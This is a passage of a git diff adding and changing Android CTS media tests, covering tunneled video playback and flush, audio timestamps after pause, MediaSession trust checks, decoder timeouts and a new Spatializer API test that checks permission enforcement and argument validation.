+        mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
+        assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
+        assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
+
+        // start video playback
+        mMediaCodecPlayer.startThread();
+        Thread.sleep(100);
+        assertTrue("Video playback stalled", mMediaCodecPlayer.getCurrentPosition() != 0);
+        mMediaCodecPlayer.pause();
+        Thread.sleep(50);
+        assertTrue("Video is ahead of audio", mMediaCodecPlayer.getCurrentPosition() <=
+                mMediaCodecPlayer.getAudioTrackPositionUs());
+        mMediaCodecPlayer.videoFlush();
+        Thread.sleep(50);
+        assertEquals("Video frame rendered after flush", mMediaCodecPlayer.getCurrentPosition(), 0);
+        // We queue one frame, but expect it not to be rendered
+        Long queuedVideoTimestamp = mMediaCodecPlayer.queueOneVideoFrame();
+        assertNotNull("Failed to queue a video frame", queuedVideoTimestamp);
+        Thread.sleep(50); // longer wait to account for buffer manipulation
+        assertEquals("Video frame rendered during pause", mMediaCodecPlayer.getCurrentPosition(), 0);
+        mMediaCodecPlayer.resume();
+        Thread.sleep(100);
+        ArrayList<Long> renderedVideoTimestamps =
+                mMediaCodecPlayer.getRenderedVideoFrameTimestampList();
+        assertFalse("No new video timestamps", renderedVideoTimestamps.isEmpty());
+        assertEquals("First rendered video frame does not match first queued video frame",
+                renderedVideoTimestamps.get(0), queuedVideoTimestamp);
+        // mMediaCodecPlayer.reset() handled in TearDown();
+    }
+
+    /**
+     * Test accurate video rendering after a video MediaCodec flush with HEVC if supported
+     */
+    public void testTunneledAccurateVideoFlushHevc() throws Exception {
+        testTunneledAccurateVideoFlush(MediaFormat.MIMETYPE_VIDEO_HEVC,
+                "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
+    }
+
+    /**
+     * Test accurate video rendering after a video MediaCodec flush with AVC if supported
+     */
+    public void testTunneledAccurateVideoFlushAvc() throws Exception {
+        testTunneledAccurateVideoFlush(MediaFormat.MIMETYPE_VIDEO_AVC,
+                "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
+    }
+
+    /**
+     * Test accurate video rendering after a video MediaCodec flush with VP9 if supported
+     */
+    public void testTunneledAccurateVideoFlushVp9() throws Exception {
+        testTunneledAccurateVideoFlush(MediaFormat.MIMETYPE_VIDEO_VP9,
+                "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
+    }
+
+    /**
+     * Test tunneled audioTimestamp progress with HEVC if supported
+     */
+    public void testTunneledAudioTimestampProgressHevc() throws Exception {
+        testTunneledAudioTimestampProgress(MediaFormat.MIMETYPE_VIDEO_HEVC,
+                "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
+    }
+
+    /**
+     * Test tunneled audioTimestamp progress with AVC if supported
+     */
+    public void testTunneledAudioTimestampProgressAvc() throws Exception {
+        testTunneledAudioTimestampProgress(MediaFormat.MIMETYPE_VIDEO_AVC,
+                "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
+    }
+
+    /**
+     * Test tunneled audioTimestamp progress with VP9 if supported
+     */
+    public void testTunneledAudioTimestampProgressVp9() throws Exception {
+        testTunneledAudioTimestampProgress(MediaFormat.MIMETYPE_VIDEO_VP9,
+                "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
+    }
+
+    /**
+     * Test that AudioTrack timestamps don't advance after pause.
+     */
+    private void
+    testTunneledAudioTimestampProgress(String mimeType, String videoName) throws Exception
+    {
+        if (!isVideoFeatureSupported(mimeType,
+                CodecCapabilities.FEATURE_TunneledPlayback)) {
+            MediaUtils.skipTest(TAG,"No tunneled video playback codec found for MIME " + mimeType);
+            return;
+        }
+
+        AudioManager am = mContext.getSystemService(AudioManager.class);
+        mMediaCodecPlayer = new MediaCodecTunneledPlayer(
+                mContext, getActivity().getSurfaceHolder(), true, am.generateAudioSessionId());
+
+        Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
+        mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
+        mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
+        assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
+        assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
+
+        // starts video playback
+        mMediaCodecPlayer.startThread();
+
+        sleepUntil(() -> mMediaCodecPlayer.getCurrentPosition() > 0, Duration.ofSeconds(1));
+        final int firstPosition = mMediaCodecPlayer.getCurrentPosition();
+        assertTrue(
+                "On frame rendered not called after playback start!",
+                firstPosition > 0);
+        AudioTimestamp firstTimestamp = mMediaCodecPlayer.getTimestamp();
+        assertTrue("Timestamp is null!", firstTimestamp != null);
+
+        // Expected stabilization wait is 60ms. We triple to 180ms to prevent flakiness
+        // and still test basic functionality.
+        final int sleepTimeMs = 180;
+        Thread.sleep(sleepTimeMs);
+        mMediaCodecPlayer.pause();
+        // pause might take some time to ramp volume down.
+        Thread.sleep(sleepTimeMs);
+        AudioTimestamp timeStampAfterPause = mMediaCodecPlayer.getTimestamp();
+        // Verify the video has advanced beyond the first position.
+        assertTrue(mMediaCodecPlayer.getCurrentPosition() > firstPosition);
+        // Verify that the timestamp has advanced beyond the first timestamp.
+        assertTrue(timeStampAfterPause.nanoTime > firstTimestamp.nanoTime);
+
+        Thread.sleep(sleepTimeMs);
+        // Verify that the timestamp does not advance after pause.
+        assertEquals(timeStampAfterPause.nanoTime, mMediaCodecPlayer.getTimestamp().nanoTime);
+    }
+
+    private void sleepUntil(Supplier<Boolean> supplier, Duration maxWait) throws Exception {
+        final long deadLineMs = System.currentTimeMillis() + maxWait.toMillis();
+        do {
+            Thread.sleep(50);
+        } while (!supplier.get() && System.currentTimeMillis() < deadLineMs);
+    }
+
+    /**
      * Returns list of CodecCapabilities advertising support for the given MIME type.
      */
     private static List<CodecCapabilities> getCodecCapabilitiesForMimeType(String mimeType) {
diff --git a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
index 85136bc..0dbedee 100644
--- a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
+++ b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
@@ -79,8 +79,8 @@
     private static final boolean DBG = false;
     private static final String MIME_TYPE = MediaFormat.MIMETYPE_VIDEO_AVC;
 
-    private static final long DEFAULT_WAIT_TIMEOUT_MS = 10000;
-    private static final long DEFAULT_WAIT_TIMEOUT_US = DEFAULT_WAIT_TIMEOUT_MS * 1000;
+    private static final long DEFAULT_WAIT_TIMEOUT_MS = 10000;  // 10 seconds
+    private static final long DEQUEUE_TIMEOUT_US = 3000000;  // 3 seconds
 
     private static final int COLOR_RED =  makeColor(100, 0, 0);
     private static final int COLOR_GREEN =  makeColor(0, 100, 0);
@@ -231,7 +231,7 @@
                         }
                         return;
                     }
-                    int inputBufferIndex = mDecoder.dequeueInputBuffer(DEFAULT_WAIT_TIMEOUT_US);
+                    int inputBufferIndex = mDecoder.dequeueInputBuffer(DEQUEUE_TIMEOUT_US);
                     if (inputBufferIndex < 0) {
                         if (DBG) {
                             Log.i(TAG, "dequeueInputBuffer returned:" + inputBufferIndex);
@@ -319,7 +319,7 @@
         BufferInfo info = new BufferInfo();
         for (int i = 0; i < NUM_MAX_RETRY; i++) {
             renderer.doRendering(color);
-            int bufferIndex = mDecoder.dequeueOutputBuffer(info,  DEFAULT_WAIT_TIMEOUT_US);
+            int bufferIndex = mDecoder.dequeueOutputBuffer(info,  DEQUEUE_TIMEOUT_US);
             if (DBG) {
                 Log.i(TAG, "decoder dequeueOutputBuffer returned " + bufferIndex);
             }
@@ -345,7 +345,7 @@
         BufferInfo info = new BufferInfo();
         for (int i = 0; i < NUM_MAX_RETRY; i++) {
             renderer.doRendering(-1);
-            int bufferIndex = mDecoder.dequeueOutputBuffer(info,  DEFAULT_WAIT_TIMEOUT_US);
+            int bufferIndex = mDecoder.dequeueOutputBuffer(info,  DEQUEUE_TIMEOUT_US);
             if (DBG) {
                 Log.i(TAG, "decoder dequeueOutputBuffer returned " + bufferIndex);
             }
diff --git a/tests/tests/media/src/android/media/cts/MediaActivityTest.java b/tests/tests/media/src/android/media/cts/MediaActivityTest.java
index a03d429..8cbe255 100644
--- a/tests/tests/media/src/android/media/cts/MediaActivityTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaActivityTest.java
@@ -16,21 +16,17 @@
 
 package android.media.cts;
 
-import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 import static junit.framework.Assert.assertEquals;
 
 import static org.junit.Assert.fail;
 import static org.junit.Assert.assertTrue;
 import static org.testng.Assert.assertFalse;
 
-import android.Manifest;
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.Context;
 import android.content.Intent;
-import android.content.pm.PackageManager;
 import android.content.res.Resources;
-import android.hardware.hdmi.HdmiControlManager;
 import android.media.AudioAttributes;
 import android.media.AudioManager;
 import android.media.session.MediaSession;
@@ -88,27 +84,17 @@
     private Map<Integer, Integer> mStreamVolumeMap = new HashMap<>();
     private MediaSession mSession;
 
-    private HdmiControlManager mHdmiControlManager;
-    private int mHdmiEnableStatus;
-
     @Rule
     public ActivityTestRule<MediaSessionTestActivity> mActivityRule =
             new ActivityTestRule<>(MediaSessionTestActivity.class, false, false);
 
     @Before
     public void setUp() throws Exception {
-        getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
-            Manifest.permission.HDMI_CEC);
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
         mContext = mInstrumentation.getContext();
         mUseFixedVolume = mContext.getResources().getBoolean(
                 Resources.getSystem().getIdentifier("config_useFixedVolume", "bool", "android"));
         mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
-        mHdmiControlManager = mContext.getSystemService(HdmiControlManager.class);
-        if (mHdmiControlManager != null) {
-            mHdmiEnableStatus = mHdmiControlManager.getHdmiCecEnabled();
-            mHdmiControlManager.setHdmiCecEnabled(HdmiControlManager.HDMI_CEC_CONTROL_DISABLED);
-        }
 
         mStreamVolumeMap.clear();
         for (Integer stream : ALL_VOLUME_STREAMS) {
@@ -147,9 +133,6 @@
             mSession.release();
             mSession = null;
         }
-        if (mHdmiControlManager != null) {
-            mHdmiControlManager.setHdmiCecEnabled(mHdmiEnableStatus);
-        }
 
         try {
             mActivityRule.finishActivity();
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java b/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java
index cbfdf35..696e37f 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java
@@ -845,18 +845,19 @@
                             rowSampling = 2;
                             colSampling = 2;
                         }
-                        long timestampUs = 1000000l * frameIndex / kFrameRate;
-                        ++frameIndex;
-                        if (frameIndex >= 32) {
-                            signaledEos = true;
-                        }
-                        timestampList.add(timestampUs);
-                        mediaCodec.getQueueRequest(event.index)
-                                .setHardwareBuffer(buffer)
-                                .setPresentationTimeUs(timestampUs)
-                                .setFlags(signaledEos ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0)
-                                .queue();
                     }
+
+                    long timestampUs = 1000000l * frameIndex / kFrameRate;
+                    ++frameIndex;
+                    if (frameIndex >= 32) {
+                        signaledEos = true;
+                    }
+                    timestampList.add(timestampUs);
+                    mediaCodec.getQueueRequest(event.index)
+                            .setHardwareBuffer(buffer)
+                            .setPresentationTimeUs(timestampUs)
+                            .setFlags(signaledEos ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0)
+                            .queue();
                 } else {
                     MediaCodec.OutputFrame frame = mediaCodec.getOutputFrame(event.index);
                     eos = (frame.getFlags() & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0;
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java b/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
index be2b066..b8cac31 100644
--- a/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
@@ -40,6 +40,7 @@
 import android.os.Looper;
 import android.os.Process;
 import android.platform.test.annotations.AppModeFull;
+import android.provider.Settings;
 import android.test.InstrumentationTestCase;
 import android.test.UiThreadTest;
 import android.util.Log;
@@ -60,7 +61,9 @@
     private static final String TAG = "MediaSessionManagerTest";
     private static final int TIMEOUT_MS = 3000;
     private static final int WAIT_MS = 500;
+    private static final String ENABLED_NOTIFICATION_LISTENERS = "enabled_notification_listeners";
 
+    private Context mContext;
     private AudioManager mAudioManager;
     private MediaSessionManager mSessionManager;
 
@@ -69,6 +72,7 @@
     @Override
     protected void setUp() throws Exception {
         super.setUp();
+        mContext = getInstrumentation().getTargetContext();
         mAudioManager = (AudioManager) getInstrumentation().getTargetContext()
                 .getSystemService(Context.AUDIO_SERVICE);
         mSessionManager = (MediaSessionManager) getInstrumentation().getTargetContext()
@@ -510,6 +514,27 @@
         }
     }
 
+    public void testIsTrustedForMediaControl_withEnabledNotificationListener() throws Exception {
+        List<String> packageNames = getEnabledNotificationListenerPackages();
+        for (String packageName : packageNames) {
+            int packageUid =
+                    mContext.getPackageManager().getPackageUid(packageName, /* flags= */ 0);
+            MediaSessionManager.RemoteUserInfo info =
+                    new MediaSessionManager.RemoteUserInfo(packageName, /* pid= */ 0, packageUid);
+            assertTrue(mSessionManager.isTrustedForMediaControl(info));
+        }
+    }
+
+    public void testIsTrustedForMediaControl_withInvalidUid() throws Exception {
+        List<String> packageNames = getEnabledNotificationListenerPackages();
+        for (String packageName : packageNames) {
+            MediaSessionManager.RemoteUserInfo info =
+                    new MediaSessionManager.RemoteUserInfo(
+                            packageName, /* pid= */ 0, Process.myUid());
+            assertFalse(mSessionManager.isTrustedForMediaControl(info));
+        }
+    }
+
     private boolean listContainsToken(List<Session2Token> tokens, Session2Token token) {
         for (int i = 0; i < tokens.size(); i++) {
             if (tokens.get(i).equals(token)) {
@@ -542,6 +567,24 @@
                 new KeyEvent(downTime, System.currentTimeMillis(), KeyEvent.ACTION_UP, keyCode, 0));
     }
 
+    private List<String> getEnabledNotificationListenerPackages() {
+        List<String> listeners = new ArrayList<>();
+        String enabledNotificationListeners =
+                Settings.Secure.getString(
+                        mContext.getContentResolver(),
+                        ENABLED_NOTIFICATION_LISTENERS);
+        if (enabledNotificationListeners != null) {
+            String[] components = enabledNotificationListeners.split(":");
+            for (String componentString : components) {
+                ComponentName component = ComponentName.unflattenFromString(componentString);
+                if (component != null) {
+                    listeners.add(component.getPackageName());
+                }
+            }
+        }
+        return listeners;
+    }
+
     private class VolumeKeyLongPressListener
             implements MediaSessionManager.OnVolumeKeyLongPressListener {
         private final List<KeyEvent> mKeyEvents = new ArrayList<>();
diff --git a/tests/tests/media/src/android/media/cts/SpatializerTest.java b/tests/tests/media/src/android/media/cts/SpatializerTest.java
new file mode 100644
index 0000000..d38bad3
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/SpatializerTest.java
@@ -0,0 +1,461 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static org.junit.Assert.assertThrows;
+
+import android.annotation.NonNull;
+import android.content.Context;
+import android.media.AudioAttributes;
+import android.media.AudioDeviceAttributes;
+import android.media.AudioDeviceInfo;
+import android.media.AudioFormat;
+import android.media.AudioManager;
+import android.media.Spatializer;
+import android.util.Log;
+
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+import com.android.internal.annotations.GuardedBy;
+
+import org.junit.Assert;
+
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.Executors;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+@NonMediaMainlineTest
+public class SpatializerTest extends CtsAndroidTestCase {
+
+    private AudioManager mAudioManager;
+    private static final String TAG = "SpatializerTest";
+    private static final int LISTENER_WAIT_TIMEOUT_MS = 3000;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mAudioManager = (AudioManager) getContext().getSystemService(AudioManager.class);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+    }
+
+    public void testGetSpatializer() throws Exception {
+        Spatializer spat = mAudioManager.getSpatializer();
+        assertNotNull("Spatializer shouldn't be null", spat);
+    }
+
+    public void testUnsupported() throws Exception {
+        Spatializer spat = mAudioManager.getSpatializer();
+        if (spat.getImmersiveAudioLevel() != Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) {
+            Log.i(TAG, "skipping testUnsupported, functionality supported");
+            return;
+        }
+        assertFalse(spat.isEnabled());
+        assertFalse(spat.isAvailable());
+    }
+
+    public void testSupportedDevices() throws Exception {
+        Spatializer spat = mAudioManager.getSpatializer();
+        if (spat.getImmersiveAudioLevel() == Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) {
+            Log.i(TAG, "skipping testSupportedDevices, functionality unsupported");
+            return;
+        }
+
+        final AudioDeviceAttributes device = new AudioDeviceAttributes(
+                AudioDeviceAttributes.ROLE_OUTPUT, AudioDeviceInfo.TYPE_BLUETOOTH_A2DP, "bla");
+        // try to add/remove compatible device without permission, expect failure
+        assertThrows("Able to call addCompatibleAudioDevice without permission",
+                SecurityException.class,
+                () -> spat.addCompatibleAudioDevice(device));
+        assertThrows("Able to call removeCompatibleAudioDevice without permission",
+                SecurityException.class,
+                () -> spat.removeCompatibleAudioDevice(device));
+        assertThrows("Able to call getCompatibleAudioDevice without permission",
+                SecurityException.class,
+                () -> spat.getCompatibleAudioDevices());
+
+        // try again with permission, then add a device and remove it
+        getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.MODIFY_DEFAULT_AUDIO_EFFECTS");
+        spat.addCompatibleAudioDevice(device);
+        List<AudioDeviceAttributes> compatDevices = spat.getCompatibleAudioDevices();
+        assertTrue("added device not in list of compatible devices",
+                compatDevices.contains(device));
+        spat.removeCompatibleAudioDevice(device);
+        compatDevices = spat.getCompatibleAudioDevices();
+        assertFalse("removed device still in list of compatible devices",
+                compatDevices.contains(device));
+
+        getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+    }
+
+    public void testHeadTrackingListener() throws Exception {
+        Spatializer spat = mAudioManager.getSpatializer();
+        if (spat.getImmersiveAudioLevel() == Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) {
+            Log.i(TAG, "skipping testHeadTrackingListener, functionality unsupported");
+            return;
+        }
+
+        // try to call any head tracking method without permission
+        assertThrows("Able to call getHeadTrackingMode without permission",
+                SecurityException.class,
+                () -> spat.getHeadTrackingMode());
+        assertThrows("Able to call getDesiredHeadTrackingMode without permission",
+                SecurityException.class,
+                () -> spat.getDesiredHeadTrackingMode());
+        assertThrows("Able to call getSupportedHeadTrackingModes without permission",
+                SecurityException.class,
+                () -> spat.getSupportedHeadTrackingModes());
+        assertThrows("Able to call setDesiredHeadTrackingMode without permission",
+                SecurityException.class,
+                () -> spat.setDesiredHeadTrackingMode(
+                        Spatializer.HEAD_TRACKING_MODE_RELATIVE_DEVICE));
+        final MyHeadTrackingModeListener listener = new MyHeadTrackingModeListener();
+        assertThrows("Able to call addOnHeadTrackingModeChangedListener without permission",
+                SecurityException.class,
+                () -> spat.addOnHeadTrackingModeChangedListener(Executors.newSingleThreadExecutor(),
+                        listener));
+        assertThrows("Able to call removeOnHeadTrackingModeChangedListener without permission",
+                SecurityException.class,
+                () -> spat.removeOnHeadTrackingModeChangedListener(listener));
+
+        getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.MODIFY_DEFAULT_AUDIO_EFFECTS");
+
+        // argument validation
+        assertThrows("Able to call addOnHeadTrackingModeChangedListener with null Executor",
+                NullPointerException.class,
+                () -> spat.addOnHeadTrackingModeChangedListener(null, listener));
+        assertThrows("Able to call addOnHeadTrackingModeChangedListener with null listener",
+                NullPointerException.class,
+                () -> spat.addOnHeadTrackingModeChangedListener(Executors.newSingleThreadExecutor(),
+                        null));
+        assertThrows("Able to call removeOnHeadTrackingModeChangedListener with null listener",
+                NullPointerException.class,
+                () -> spat.removeOnHeadTrackingModeChangedListener(null));
+
+        // test of functionality
+        spat.setEnabled(true);
+        List<Integer> supportedModes = spat.getSupportedHeadTrackingModes();
+        Assert.assertNotNull("Invalid null list of tracking modes", supportedModes);
+        Log.i(TAG, "Reported supported head tracking modes:"+ supportedModes);
+        if (!supportedModes.contains(Spatializer.HEAD_TRACKING_MODE_RELATIVE_DEVICE)
+                && !supportedModes.contains(Spatializer.HEAD_TRACKING_MODE_RELATIVE_WORLD)
+                && !supportedModes.contains(Spatializer.HEAD_TRACKING_MODE_OTHER)) {
+            // no head tracking is supported, verify it is correctly reported by the API
+            assertEquals("When no head tracking mode supported, list of modes must be empty",
+                    0, supportedModes.size());
+            // TODO: to be enforced
+            //assertEquals("Invalid mode when no head tracking mode supported",
+            //        Spatializer.HEAD_TRACKING_MODE_UNSUPPORTED, spat.getHeadTrackingMode());
+            Log.i(TAG, "no headtracking modes supported, stop test");
+            return;
+        }
+        int trackingModeToUse;
+        if (supportedModes.contains(Spatializer.HEAD_TRACKING_MODE_RELATIVE_DEVICE)) {
+            trackingModeToUse = Spatializer.HEAD_TRACKING_MODE_RELATIVE_DEVICE;
+        } else {
+            trackingModeToUse = Spatializer.HEAD_TRACKING_MODE_RELATIVE_WORLD;
+        }
+        spat.setDesiredHeadTrackingMode(Spatializer.HEAD_TRACKING_MODE_DISABLED);
+        spat.addOnHeadTrackingModeChangedListener(Executors.newSingleThreadExecutor(), listener);
+        spat.setDesiredHeadTrackingMode(trackingModeToUse);
+        Integer observedDesired = listener.getDesired();
+        assertNotNull("No desired head tracking mode change reported", observedDesired);
+        assertEquals("Wrong reported desired tracking mode", trackingModeToUse,
+                observedDesired.intValue());
+        assertEquals("Set desired mode not returned by getter", spat.getDesiredHeadTrackingMode(),
+                trackingModeToUse);
+        final int actualMode = spat.getHeadTrackingMode();
+        // not failing test if modes differ, just logging
+        if (trackingModeToUse != actualMode) {
+            Log.i(TAG, "head tracking mode desired:" + trackingModeToUse + " actual mode:"
+                    + actualMode);
+        }
+        spat.removeOnHeadTrackingModeChangedListener(listener);
+    }
+
+    public void testSpatializerOutput() throws Exception {
+        Spatializer spat = mAudioManager.getSpatializer();
+        if (spat.getImmersiveAudioLevel() == Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) {
+            Log.i(TAG, "skipping testSpatializerOutput, functionality unsupported");
+            return;
+        }
+
+        // try to call any output method without permission
+        assertThrows("Able to call getOutput without permission",
+                SecurityException.class,
+                () -> spat.getOutput());
+        final MyOutputChangedListener listener = new MyOutputChangedListener();
+        assertThrows("Able to call setOnSpatializerOutputChangedListener without permission",
+                SecurityException.class,
+                () -> spat.setOnSpatializerOutputChangedListener(
+                        Executors.newSingleThreadExecutor(), listener));
+        assertThrows("Able to call clearOnSpatializerOutputChangedListener with no listener",
+                SecurityException.class,
+                () -> spat.clearOnSpatializerOutputChangedListener());
+
+        getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.MODIFY_DEFAULT_AUDIO_EFFECTS");
+
+        // argument validation
+        assertThrows("Able to call setOnSpatializerOutputChangedListener with null Executor",
+                NullPointerException.class,
+                () -> spat.setOnSpatializerOutputChangedListener(null, listener));
+        assertThrows("Able to call setOnSpatializerOutputChangedListener with null listener",
+                NullPointerException.class,
+                () -> spat.setOnSpatializerOutputChangedListener(
+                        Executors.newSingleThreadExecutor(), null));
+
+        spat.getOutput();
+        // output doesn't change upon playback, so at this point only exercising
+        // registering / clearing of output listener under permission
+        spat.clearOnSpatializerOutputChangedListener(); // this is to clear the client listener ref
+        spat.setOnSpatializerOutputChangedListener(Executors.newSingleThreadExecutor(), listener);
+        spat.clearOnSpatializerOutputChangedListener();
+        assertThrows("Able to call clearOnSpatializerOutputChangedListener with no listener",
+                IllegalStateException.class,
+                () -> spat.clearOnSpatializerOutputChangedListener());
+    }
+
+    public void testExercisePose() throws Exception {
+        Spatializer spat = mAudioManager.getSpatializer();
+        if (spat.getImmersiveAudioLevel() == Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) {
+            Log.i(TAG, "skipping testExercisePose, functionality unsupported");
+            return;
+        }
+
+        // argument validation
+        assertThrows("Able to call setGlobalTransform without a 6-float array",
+                IllegalArgumentException.class,
+                () -> spat.setGlobalTransform(new float[5]));
+        assertThrows("Able to call setGlobalTransform without a null array",
+                NullPointerException.class,
+                () -> spat.setGlobalTransform(null));
+        final MyPoseUpdatedListener listener = new MyPoseUpdatedListener();
+        assertThrows("Able to call setOnHeadToSoundstagePoseUpdatedListener with null Executor",
+                NullPointerException.class,
+                () -> spat.setOnHeadToSoundstagePoseUpdatedListener(null, listener));
+        assertThrows("Able to call setOnHeadToSoundstagePoseUpdatedListener with null listener",
+                NullPointerException.class,
+                () -> spat.setOnHeadToSoundstagePoseUpdatedListener(
+                        Executors.newSingleThreadExecutor(), null));
+        assertThrows("Able to call clearOnHeadToSoundstagePoseUpdatedListener with no listener",
+                IllegalStateException.class,
+                () -> spat.clearOnHeadToSoundstagePoseUpdatedListener());
+
+        getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.MODIFY_DEFAULT_AUDIO_EFFECTS");
+        // TODO once headtracking is properly reported: check pose changes on recenter and transform
+        spat.setOnHeadToSoundstagePoseUpdatedListener(
+                Executors.newSingleThreadExecutor(), listener);
+        // oneway call from client to AudioService, can't check for exception earlier
+        spat.recenterHeadTracker();
+        // oneway call from client to AudioService, can't check for exception earler
+        spat.setGlobalTransform(new float[6]);
+        spat.clearOnHeadToSoundstagePoseUpdatedListener();
+    }
+
+    public void testEffectParameters() throws Exception {
+        Spatializer spat = mAudioManager.getSpatializer();
+        if (spat.getImmersiveAudioLevel() == Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) {
+            Log.i(TAG, "skipping testEffectParameters, functionality unsupported");
+            return;
+        }
+
+        // argument validation
+        assertThrows("Able to call setEffectParameter with null value",
+                NullPointerException.class,
+                () -> spat.setEffectParameter(0, null));
+        assertThrows("Able to call getEffectParameter with null value",
+                NullPointerException.class,
+                () -> spat.getEffectParameter(0, null));
+
+        // permission check
+        byte[] val = new byte[4];
+        assertThrows("Able to call setEffectParameter without permission",
+                SecurityException.class,
+                () -> spat.setEffectParameter(0, val));
+        assertThrows("Able to call getEffectParameter without permission",
+                SecurityException.class,
+                () -> spat.getEffectParameter(0, val));
+    }
+
+    public void testSpatializerStateListenerManagement() throws Exception {
+        final Spatializer spat = mAudioManager.getSpatializer();
+        final MySpatStateListener stateListener = new MySpatStateListener();
+
+        // add listener:
+        // verify null arg checks
+        assertThrows("null Executor allowed in addOnSpatializerStateChangedListener",
+                NullPointerException.class,
+                () -> spat.addOnSpatializerStateChangedListener(null, stateListener));
+        assertThrows("null listener allowed in addOnSpatializerStateChangedListener",
+                NullPointerException.class,
+                () -> spat.addOnSpatializerStateChangedListener(
+                        Executors.newSingleThreadExecutor(),null));
+
+        spat.addOnSpatializerStateChangedListener(Executors.newSingleThreadExecutor(),
+                stateListener);
+        // verify double add
+        assertThrows("duplicate listener allowed in addOnSpatializerStateChangedListener",
+                IllegalArgumentException.class,
+                () -> spat.addOnSpatializerStateChangedListener(Executors.newSingleThreadExecutor(),
+                        stateListener));
+
+        // remove listener:
+        // verify null arg check
+        assertThrows("null listener allowed in removeOnSpatializerStateChangedListener",
+                NullPointerException.class,
+                () -> spat.removeOnSpatializerStateChangedListener(null));
+
+        // verify unregistered listener
+        assertThrows("unregistered listener allowed in removeOnSpatializerStateChangedListener",
+                IllegalArgumentException.class,
+                () -> spat.removeOnSpatializerStateChangedListener(new MySpatStateListener()));
+
+        spat.removeOnSpatializerStateChangedListener(stateListener);
+        // verify double remove
+        assertThrows("double listener removal allowed in removeOnSpatializerStateChangedListener",
+                IllegalArgumentException.class,
+                () -> spat.removeOnSpatializerStateChangedListener(stateListener));
+    }
+
+    public void testMinSpatializationCapabilities() throws Exception {
+        Spatializer spat = mAudioManager.getSpatializer();
+        if (spat.getImmersiveAudioLevel() == Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) {
+            Log.i(TAG, "skipping testMinSpatializationCapabilities, no Spatializer");
+            return;
+        }
+        if (!spat.isAvailable()) {
+            Log.i(TAG, "skipping testMinSpatializationCapabilities, Spatializer not available");
+            return;
+        }
+        for (int sampleRate : new int[] { 44100, 4800 }) {
+            AudioFormat minFormat = new AudioFormat.Builder()
+                    .setSampleRate(sampleRate)
+                    .setChannelMask(AudioFormat.CHANNEL_OUT_5POINT1)
+                    .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
+                    .build();
+            for (int usage : new int[] { AudioAttributes.USAGE_MEDIA,
+                                         AudioAttributes.USAGE_GAME}) {
+                AudioAttributes defAttr = new AudioAttributes.Builder()
